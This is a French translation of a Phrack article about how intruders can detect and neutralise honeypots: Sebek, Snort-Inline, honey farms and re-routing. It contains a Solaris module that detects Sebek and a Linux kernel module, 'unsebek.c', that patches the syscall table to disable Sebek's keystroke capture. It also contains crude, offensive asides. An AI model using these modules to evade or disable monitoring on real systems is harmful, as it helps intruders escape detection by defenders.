==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x07 of 0x0f |=------------------=[ Local Honeypot Identification ]=-----------------=| |=----------------------------------------------------------------------=| |=------------------=[ Joseph Corey ]=-----------------=| "I pooped" - William Shakespeare 1 - Résumé 2 - Introduction 3 - Broken HoneyPots 4 - Detecting and Handling of Honeypot Devices 4.1 - Sebek 4.1.1 - Detection de Sebek sous Solaris 4.1.2 - Detection de Sebek sous GNU/Linux 4.2 - Snort-Inline et Re-routage Dynamique 4.2.1 - Connection ou Limitation de Blocs 4.2.2 - Payload Alterations 4.2.3 - Honey Farms 4.2.4 - Re-routage Dynamique (ala Bait and Switch) 5 - Conclusions 6 - Remerciements 7 - Références --[ 1. Résumé Les Honeypots et les Honeynets sont déployés sur les réseaux pour détecter et contrôler le mauvais usage d'ordinateurs et des resources du réseau par des personnes non autorisées. Ce contrôle peut prendre la forme d'implémentations à haute interaction [1], ou de honeypots virtuels a basse interaction [2]. Les procédés developpés et les méthodes derrière ce développement sont basés sur des suppositions incorrectes, permettant en fin de compte à un adversaire déterminé de détecter, neutraliser et, en quelque sorte, d'exploiter les honeypots déployés. L'Alliance AntiHoney.NET a été établie pour apporter un forum de recherche sur les limites de la technologie honeypot, et le développement d'outils pour démontrer ces limites. Les résultats de cette recherche sont presentés dans cet article, ainsi que les défauts du concept de honeypot ayant permis leur découverte et leur exploitation. 2. Introduction Le projet HoneyNET décrit les honeypots comme étant des leurres contrôlés de près, qui vont fournir des cibles faciles afin que des soit-disants hackers l'exploite. L'espoir général est que des attaquants se laisseront tenter par l'occasion, et l'utiliseront comme un tremplin pour des attaques contre d'autres cibles plus difficiles. Essentiellement, les honeypots réagissent comme des systèmes de détection d'intrusion basés sur l'observation d'anomalies. Toute activité sur un système honeypot est une anomalie car le système est consacré à piéger les attaquants. Si un attaquant venait à entrer dans un système honeypot, toute son interaction avec le système pour distribuer l'exploit ou conduire à une activation ultérieure à l'acte de compromission du honeypot, préviendrait les administrateurs du honeypot, à cause de la présence d'une activité émanant ou se terminant dans le système honeypot. En plus de servir comme système de détection d'intrusion, les honeypots peuvent aussi être utilisés comme un mécanisme de collecte de renseignements. En attirant les hackers dans un environnement ou leurs actions peuvent être controlées, les chercheurs honeypot espèrent apprendre comment se comportent les attaquants, les motivations cachées derrière leurs activités, et peut-être même capturer certains des outils utilisés dans l'exploitation active des systèmes informatiques. Ce but a ete traîté dans le livre publié par le projet HoneyNET project, "Know your Enemy" [3] ("Connaitre votre ennemi"). Ceci a particulièrement interessé les différentes agences de renseignement qui ont pris part ou soutenu la mission du projet Honeynet, en témoigne la subvention du Conseil National de Renseignements de la CIA faite au HoneyNET Project. D'autres groupes ayant un intérêt prové pour le potentiel de collecte d'information de la technologie honeypot incluent ABIN, le Mossad, CSIS, et w00w00. De plus, les organisations traditionellement occupées par le maintien de l'ordre se sont interessées aux honeypots comme un moyen de détecter, contrôler, et collecter des preuves de crimes online, comme les récentes découvertes par le projet honeynet a propos de syndicats du crime utilisant des boxes compromises pour faire transiter des numéros de cartes de crédit volées. Les applications principales pour atteindre cette mission sont Sebek, Snort-Inline, et les cdrom honeywall[5]. De plus, d'autres outils et méthodes, comme HoneyD[6] et les HoneyNET Farms[7], contribuent à cette mission, mais ne sont pas directement financés par des subvensions du NIC. Nous examinerons chacun d'eux avec plus de détails, en regardant comment un adversaire peut identifier cette présence -- et la detection résultante du honeypot. 3. flawed premise Honeypot Tout projet basé sur des fondations bancales résultera en produits au moins aussi bancals que les fondations sur lequel il était base. C'est le cas pour le projet honeynet, et pour les mécanismes qu'il développe. Comme résultat de ces mécanismes qui ont ete deployes par d'infortunés chercheurs en securité, des résultats involontaires et potentiellement devastateurs peuvent apparaître. Dans un des pires scenarii, les administrateurs honeypot, qui ont souscrit aux imperfections du projet honeynet, peuvent se retrouver dans des situations inconfortables ou même dangereuses pour leur vie si on découvre qu'ils utilisent un honeypot et que celui-ci est utilisé par des syndicats du crime organisé Roumain ou par un Etat étranger pour procéder a des activités illégales sous anonymat. Ces fondations bancales sont : 1. La technologie Honeypot peut etre librement partagée et rester efficace. 2. La technologie HoneyPot peut être deployée en milieu hostile, et rester indétectée. 3. Meme s'ils ne sont pas détectés, les attaquants ne cibleront pas le honeypot ou ses opérateurs pour une exploitation plus avancée. La premiere est centrale au but du projet the HoneyNET. Le but entier du projet Project est de developper des méthodes pour contrôler les attaquants et partager les résultats et les méthodes avec la communauté de securité publique. Par contre, si un adversaire sait comment ils sont contrôlés, celui-ci est capable de développer des méthodes pour déterminer s'ils sont peu contrôlés (comme nous verrons dans la section 4) ou pour falsifier des informations apparaissant avant les mécanismes de contrôle. La publication de produits dérives du contrôle, vont aussi fournir d'eux-même l'information adverse sur la façon dont ils sont contrôlés [Waltz]. A cause de l'erreur de la première , la seconde est aussi imparfaite. En supposant que l'adversaire sache qu'il est surveillé, alors on doit assumer le fait qu'un adversaire déterminé étudiera de quelle manière les outils de contrôle fonctionnent. Chaque faille dans le fonctionnement de ces outils, et comment ces derniers sont dissimulés dans des conditions normales pourront être mis à jour. Un ennemi pourra alors tester la présence ou l'absence des mécanismes de contrôle. Et finalement, le troisième. Si un adversaire sait qu'un outil de contrôle est présent, il peut découvrir comment mettre celui-ci hors d'usage ou le tourner à son avantage. Si les imperfections découvertes sont d'une nature telle que l'adversaire peut causer une execution de code arbitraire, soit comme resultat de l'outil ou d'une de ses librairies, alors l'attaquant peut être capable de compromettre les systemes contrôlant le honeypot, et n'importe quel autre honeypot faisant confiance à ce système. 4. Détection et maniement des Honeypot Devices Trouver les honeypots est un art en lui-meme. Tout le but d'un honeypot est de contrôler secrètement les activités d'un public cible, qui est techniquement qualifié et est capable de manipuler et mettre en question toute ressource attachée au honeypot lui-meme. A cette fin, le développement de la technologie honeypot reflète de près le développement des rootkits -- une autre technologie dont le but est de cacher la présence d'un utilisateur tout-puissant sur un système informatique cible. En déployant la technologie honeypot, des modifications sont faites à un système configuré et à son réseau pour contrôler l'activite, limiter les dommages possibles qui peuvent etre causés depuis le honeypot, et pour dissimuler la présence des deux dernières activités. Le sommet dans la recherche des honeypots est simplement de trouver les différences entre un système réél et une représentation honeypot d'un système, aussi subtile qu'elles peut paraître. Le fait de doper la boîte afin de dissimuler le contrôle est, en lui-même une modification de la strucuture du système qui peut et pourra être trouvée. Nous découvrirons non seulement quelques méthodes courantes pour trouver et révéler les honeypots, mais aussi comment on peut approcher le problème quand ces signatures sont inévitablement éliminées. 4.1 Sebek La technologie de contrôle honeypot basée sur un serveur hôte est centrée d'une part sur des outils de capture et de conservation utilisés dans le honeypot et d'autre part sur l'activité réélle de l'individu contrôlé sur la machine. Typiquement la stratégie a été de doper les shells ou d'autres softwares tournant sur le système cible afin de sauver en permanence les commandes exécutées par des individus opérant sur le système. La forme ultime de ce type d'outils de contrôle sont les modifications basées sur le kernel. La plus sophistiquée à l'heure actuelle est le module noyau Sebek. En plus de capturer les caractères tapés, il a été écrit pour être capable de capturer des fichiers en même temps qu'ils sont copiés dans les tunnels encryptés avec la commande de copie sécurisée. Les voies actuelles pour découvrir la présence de Sebek peuvent être classées comme des attaques contre la manière avec laquelle sebeks intercepte les entrées de l'utilisateur, et comment il dissimule ses communications avec les entrailles du serveur. Afin d'être capable de collecter les caractères tapés par des utilisateurs intéractifs sur un système contrôlé, sebek accroche les appels système spécifiques à la lecture des entrées. Comme nous le verrons, l'action de s'accrocher sous ces appels système laisse une empreinte de pas qui peut être vérifiée et, dans certaines situations, retournée de manière à désactiver les capacités de contrôle de sebek. Les communications backend vers le serveur utilisent des caractéristiques spécifiques afin de filtrer les communications de la vue d'un utilisateur privilégié sur les systemes de contrôle. Nous verrons qu'il sera possible de générer du trafic de manière à être en mesure de découvrir les petits bruits qui sont filtrés. Avant d'aller plus loin, nous suggérons que le lecteur récupère une copie des versions de Sebek à partir du site honeynet pour le relire durant la discussion suivante. Sebek peut être téléchargé à partir de la HoneyNET Toolz Armory à http://www.honeynet.org/papers/honeynet/tools/index.html ------[ 4.1.1 Detecting Sebek Solaris Solaris était le second système supporté par Sebek. Afin de détecter sebek nous voudrons nous focaliser sur l'initialisation de sebek. Sur la plateforme Solaris ceci est fait avec le code suivant: ----Code Snippet of client/sebek.c in sebeksol-2.04.07--- 1 /* 2 * Sauver les anciennes valeurs. 3 */ 4 old_read = (int64_t (*)()) sysent[SYS_read].sy_callc; 5 #ifdef sparc 6 old_read32 = (int64_t (*)()) sysent32[SYS_read].sy_callc; 7 #endif 8 old_spec_ioctl = spec_vnodeopsp->vop_ioctl; 9 /* 10 * Se mettre a critical pour éviter que cela s'emballe et echanger 11 * les pointeurs de fonction. 12 */ 13 s = ddi_enter_critical(); 14 sysent[SYS_read].sy_callc = (int64_t(*)())new_read; 15 #ifdef sparc 16 sysent32[SYS_read].sy_callc = (int64_t(*)())new_read; 17 #endif 18 ddi_exit_critical(s); ----Code Snippet of client/sebek.c in sebeksol-2.04.07--- D'abord, remarquez comment sebek s'occupe de la table sysent32 syscall et de celle de old_read32 sys call. Il est évident que le code n'a pas été testé énergiquement. Si il avait été testé sur les systèmes 32 et 64 bits, on aurait trouvé que cela ne marchera pas sur les systèmes UltraSparc tournant sur un noyau 32bit (ie un système Ultra Sparc avec un cpu 143mhz, alors que Solaris tourne en mode 32bit par défaut). - Mais c'est une digression. Le fait que le code ait été pauvrement testé - n'est pas le centre de l'article. Remarquez comment le module du noyau remplace le sy_callc avec un pointeur de fonction lié à la fonction de sebek aux lignes 14 et 16 ? ? C'est une signature, juste là. - Quoi? Vous ne suivez pas? Je vais expliquer. Typiquement, les appels systeme SYS_read et SYS_write sont proches l'un de l'autre. Depuis que nous pouvons comparer les tables sysent (et sysent32), nous pouvons comparer ces deux appels système. Par exemple, voici la sortie d'un fichier sebek.c modifié qui produit les offsets des entrées de sysent[] pour SYS_write, et SYS_read. Remarquez comment la valeur de SYS_read change. SYS_WRITE : 0x100abfc8 SYS_READ WithOut Sebek: 0x100abc14 SYS_READ With Sebek : 0x1028951c Avez-vous noté la différence entre les positions des fonctions ? Dans le kernel sun "clean", avant de charger l'appel système de sebek, la différence est de 0x3b4, mais dans le noyau sebek la différence est supérieure à 0x2000000 ! C'est à peu près aussi subtil que de trouver une pute morte à vos côtés dans votre lit. Le module suivant peut être utilise sur solaris pour tester la présence de Sebek: ----End--------------Sebek-Find-Solaris.c----------------------------- /* * Detecter Sebek sur un système solaris. * Adapté du module de noyau de Sebek Solaris. * * Copyright 2003, Phrack Labs * */ #ifdef __GNUC__ #define _SYS_VARARGS_H #define _VARARGS_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if SOL_MINVER >= 6 # include #endif #include #include #include #include #include #include #include #include #include #include #include #ifdef __sparcv9 #include #endif #if defined(__sparcv7) || defined(__sparcv8) #include #endif /* Module description */ static struct modlstrmod modlstrmod = { &mod_strmodops, "aha-sebek", &fsw }; static struct modlinkage modlinkage = { MODREV_1, {(void *) &modlstrmod, NULL} }; /* * Structure of the system-entry table. */ extern struct sysent sysent[]; static struct modctl *my_mp = NULL; int _init(void) { unsigned int a; a = (unsigned long) sysent[SYS_write].sy_callc - (unsigned long) sysent[SYS_read].sy_callc; if (a > 0x00002000) cmn_err(CE_WARN,"NOTICE: Possible HoneyPot Detected.\n"); return (mod_install(&modlinkage)); } int _fini() { return (mod_remove(&modlinkage)); } int _info(struct modinfo * modinfop) { return (mod_info(&modlinkage, modinfop)); } ----Begin------------Sebek-Find-Solaris.c----------------------------- ------[ 4.1.2 Détecter Sebek Linux Pour linux, la situation est exactement la même. Mais avec une légère modification -- dans les noyaux les plus récents la fonction sys_read est un symbole exporté. Du fait qu'il est exporté, sebek peut etre desactivé ! Pour comprendre pourquoi, il faut comprendre les récents changements dans le noyau linux. Durant le développement des noyaux linux 2.5.x, il a été décrété que les tables sys_call_table ne seront plus exportées comme symbole dans les modules du kernel. A premiere vue on pourrait penser que cela gene les modules comme sebek qui utilise la table sys_call_table. Cependant, lorsque certains de ces patches furent portés vers la branche plus ancienne des 2.4, des problèmes apparurent rapidement pour trouver la sys_call_table dans la mémoire. Certains appels système sont nécessaires pour que certains modules noyau fonctionnent. C'est courant que du point du module noyau on soit capable de lire dans des fichiers et d'en écrire durant le chargement et l'opération. Pour que cela soit possible, même avec la sys_call_table non exportée, les symboles de certains appels système précédents non-exportés ont été exportés. Parmi ceux ci il y a sys_open, sys_close, sys_write, et sys_read. Maintenant, savoir ou est sys_read en mémoire est important, car cela veut dire que si on peut utiliser la même sys_call_table en trouvant des méthodes qui apparaissent sur les lieux, combinees avec une analyse différentielle des pointeurs de la sys_call_table, on peut determiner que la fonction sys_read a été remplacée et a réparé le noyau sebek-isé en remplacant la valeur dans la sys_call_table avec la valeur originale de sys_read (exportee). Voici un code que quelqu'un a laissé sur leur serveur web qui peut facilement enlever sebek : --unsebek.c--- #define MODULE #define __KERNEL__ #include #include #include #include #include #include extern int loops_per_jiffy; int init_module(void) { struct module *mod_ptr; unsigned longg ptr; unsigned long **sct; MODULE_LICENSE("GPL"); lock_kernel(); /* How Gay, hiding the system call table. This block just finds it. */ for (ptr = (unsigned long) &loops_per_jiffy; ptr < (unsigned long) &boot_cpu_data; ptr += sizeof(void *)) { unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long) sys_close) { sct = (unsigned long **)p; break; } } /* Uber 31337 Sebek disabling code begins here. */ sct[__NR_read] = (unsigned long *) sys_read; /* Uber 31337 Sebek disabling code ends here. */ unlock_kernel(); return 0 } int cleanup_module(void) { return 0; } ----unsebek.c--- Et voilà ! Ce module peut aussi tourner sans problème sur des systèmes qui ne sont pas infectés par sebek. Tout ce qu'il fait c'est assigner la valeur stockée dans le slot __NR_read sys_call_table à l'origine. Apres avoir désactivé sebek, aucune frappe au clavier, aucun transfert ssh ne sera capturé. Pour s'amuser un peu plus, on pourrait modifier le module pour déterminer si la valeur de sys_read correspond a ce qui est dans la sys_call_table. Dès qu'on sait qu'il y a un sebek, on peut trouver l'adresse MAC à laquelle se loge le sniffer sebek avec lequel tourne sebek, et exploiter une faille dans le logiciel pour contrôler l'hôte de collection de données. ----[ 4.2 - Snort-Inline And Dynamic Re-Routing Faire tourner un honeypot à haute interaction peut etre un exploit périlleux. Que se passe-t-il si quelqu'un compromet le système honeypot et l'utilise pour lancer une attaque massive contre une cible importante, comme www.ebay.com ? L'administrateur honeypot serait il responsable de négligence pour avoir laissé un système non sécurisé connecté au réseau ? Des questions comme celles ci font que les membres de l'alliance honeypot continuent à y réfléchir la nuit. Afin de donner une couverture, et faire un argument de leur assiduité, l'alliance HoneyNET utilise un produit Snort-Inline pour limiter les dommages qui peuvent etre causés par un honeypot compromis. Snort-Inline est basé sur le très populaire, et un peu à tort, système de détection d'intrusion appelé Snort. Le but de Snort-Inline est de controler le traffic entrant et d'y répondre en temps réel. Le projet HoneyNET utilise typiquement cette capacité de réponse pour limiter le nombre de connections-relais sur un honeypot, ou pour altérer les paquets sortants qui sont détectés comm étant associés avec une attaque lancée à partir du honeypot. Ces deux activités ne sont pas très subtiles, et peuvent etre détectées. ------[ 4.2.1 Connection Limiting Ceci est peut etre une des chose les plus faciles à détecter. Dans la configuration de limitation de connection, snort-inline comptera le nombre de connections-relais extérieurs sur une période, et refusera de nouvelles connections quand un seuil minimum est atteint. Pour détecter ceci, ouvrez simplement un bon nombre de connections vers différents serveurs. Une bonne liste de 10-20 sites ayant un bon profil est recommandée. Une connection manuelle avec une récuperation basique de leur page principale suffira a fournir les connections. Duh. ------[ 4.2.2 Payload Alterations [Utiliser snort revient a detecter certaines chaines dans le traffic entrant, Snort-Inline va modifier les paquets qu'il croit exploitables de maniere a faire echouer l'exploit. On peut citer comme exemple la modification du code shell essayant d' executer "/ben/sh" au lieu de "/bin/sh".] [N. d. Relecteur : heum... Ma charmante traductrice avait apparemment fait l'impasse sur ce paragraphe ;-)] Même si un attaquant est en mesure de se connecter à un autre hôte (extérieur), il est peut-être possible que cet hôte soit une des cible les plus réputées qui causera le courroux de la Homeland Security faire tomber le règne de l'administrateur du honeypot, comme l'équipe des SWAT de chez Microsoft chopant l'auteur d'une variante merdique de Blaster. L'autre fonctionalité de Snort-Inline fut développée à cause de ceci. Utilisant snort pour détecter certaines chaînes dans le trafic sortant, Snort-Inline modifiera les paquets sortants qu'il pense être d'une nature exploitive de telle manière à faire échouer l'exploit. Un exemple souvent cité est la modification du shellcode tentant d'exécuter "/bin/sh" par "/ben/sh". Phrack Labs a étudié cette situation avec attention. La réponse trouvée est réellement basée sur un des produits developpés pour le projet HoneyNET. En utilisant un serveur honeyd, des scripts personnalisés sont écrits pour simuler un service exploitable. Cependant, au lieu de chercher après des commandes de service, au moment où un payload devrait etre fourni, le serveur va calculer un hash de differentes parties du payload, et rétourner une réponse basée sur le résultat du hashage. En comparant le message de retour à ce à quoi on s'attendait, il est possible de déterminer si snort-inline est présent et s'il modifie les payloads. Si on obtient des payloads modifiés, il est fort probable que le système suspect soit un honeypot. ------[ 4.2.3 Honey Farms L'idée de honey-ferme est peut etre l'idee la plus vendable qui soit sortie du projet HoneyNET. Le concept est qu'une compagnie paierait l'opérateur d'une ferme HoneyNET pour faire tourner et maintenir des honeypots pour une compagnie cliente. Les adresses IP sous lesquelles la compagnie cliente pourrait assigner la ferme HoneyNet, et le trafic vers ses adresses serait bridgé de façon transparente via un VPN vers le centre d'opérations du réseau de honey-fermes, où une équipe de cracks etudierait les moindres mouvements de villains hackers qui terrifient le réseau client. Sans entrer trop dans la discussion à propos de la "magie" high-tech qui fixe la configuration du honey-ferme, nous allons simplement parler du fait que la latence entre la machine d'un(e) attaquant(e) et la honey-ferme variera selon la latence entre une la machine de l'attaquant(e) et d'autres systèmes situés sur le réseau client et sur le même domaine de broadcast que les systèmes honey-fermes. Si la honeyfarm est isolée dans son propre domaine de broadcast, et que le routage est effectué, la latence pourrait être moins problématique pour des réseaux multi-sites et dispersés géographiquement. La mesure de la latence sera hors des limites des relais du canal de communication entre la honey-ferme et l'attaquant. Tout spécialement de l'horloge sur le mur de l'attaquant(e). A cause de cela, il y a peu sinon rien qui puisse être fait du point de vue de la honey-ferme pour être capable de cacher cette anomalie. ------[ 4.2.4 Dynamic Re-Routing (ala Bait and Switch) Le problème avec les honeypots est qu'il n'y a pas de cibles intéressantes - vous ne trouverez pas de honeypot de production tournant comme un serveur de production, a moins que vous ne regardiez au reseau de ISS. Honeywall, et le projet sur lequel l'idée est basée, Bait-n-Switch, travaille à modifier le flux de paquets réseau normalement ciblés sur un serveur de production vers le honeypot au premiers signes de comportement anormal. Par exemple, si windowsupdate.microsoft.com avait un honeywall face a eux, la premiere fois qu'il recoit une requete, il pourrait expedier le traffic de l'hote de nsecure.com l'attaquant vers le honeypot. C'est une super idée -- mettre de grosses cibles et des honeypots face-à-face. Cependant, l'idée est bancale. Le honeypot devra etre isolé du système de production. C'est pour assurer que le honeypot n'est pas utilisé comme une plateforme de lancement pour infecter les systèmes de production. Ceci veut dire que le honeypot devra imiter l'état du système de production, sans aucune entrée provenant du systeme de production après qu'ils aient étés manuellement synchronisés l'un avec l'autre pour la dernière fois. Ces differences d'etat entre une box de production normale et un honeypot avec un idle normal (en excluant le trafic simulé) fournissent une multitude de signatures qui peuvent etre utilisees pour identifier le re-routage a un honeypot. En supposant qu'un attaquant controle deux systèmes. Le systeme A sera utilisé pour attaquer. Le systeme B sera un système de contrôle, qui ne fera que des connections normales (légitimes) au système de production. Supposons aussi que le système A ait déjà déclenché les suspicions de contrôle IDS du Honeywall. Supposons que le système de production et que le honeypot tournent sous un serveur Windows 2000 avec IIS. Si un attaquant a controlé l'IPID venant du honeypot et du serveur de production, il verrait qu'ils ne correspondent pas. De plus, les IPIDs échouerons probablement pour s'incrémenter avec les échantillons pris par A et ils le feront pour le système B. Ces échantillons peuvent être pris à part, et révéler définitivement que quelqu'un joue à quelque jeu de routage pour les connections venant du système A. --[ 5. Conclusions L'efficacité de la technologie honeypot n'existe que tant que les opposants au but des honeypots ne sont pas capables d'examiner les travaux concernant les technologies de contrôle. Essentiellement, les technologies honeypot doivent rester secrètes afin d'être effectives sur le terrain. Ceci empêche l'option d'avoir un discours ouvert sur la technologie, puisqu'on ne peut même pas faire confiance aux membres de l'alliance qui pourraient révéler les 0dayz Honeypots Warez à leurs amis blackhats. D'un autre côté, sans discours ouvert, le développement d'honeypots va stagner, aucune attention ne sera donnée de la part des médias aux faux prophètes de la technologie honeypot, et les contrats lucratifs mis en place avec la vente de digital snake oil[XX] ne se matérialisera pas. Dans les deux cas, la technologie honeypot est encore trop immature pour être considérée sérieusement pour de rééls déploiements par des personnes non académiques ou par des réfugiés dot-com. --[ 6. Thanks Un grand merci à K2 pour son support à continuer de s'occuper de ce qui se passe dans le honeynet project. Que ces Emails continuent d'arriver ! --[ 7. References Trop à mentionner. |=[ EOF ]=---------------------------------------------------------------=| Traduit par une charmante collaboratrice du crou (sank you). Relu par DecereBrain, le Samedi 19 Juin 2004, 10:13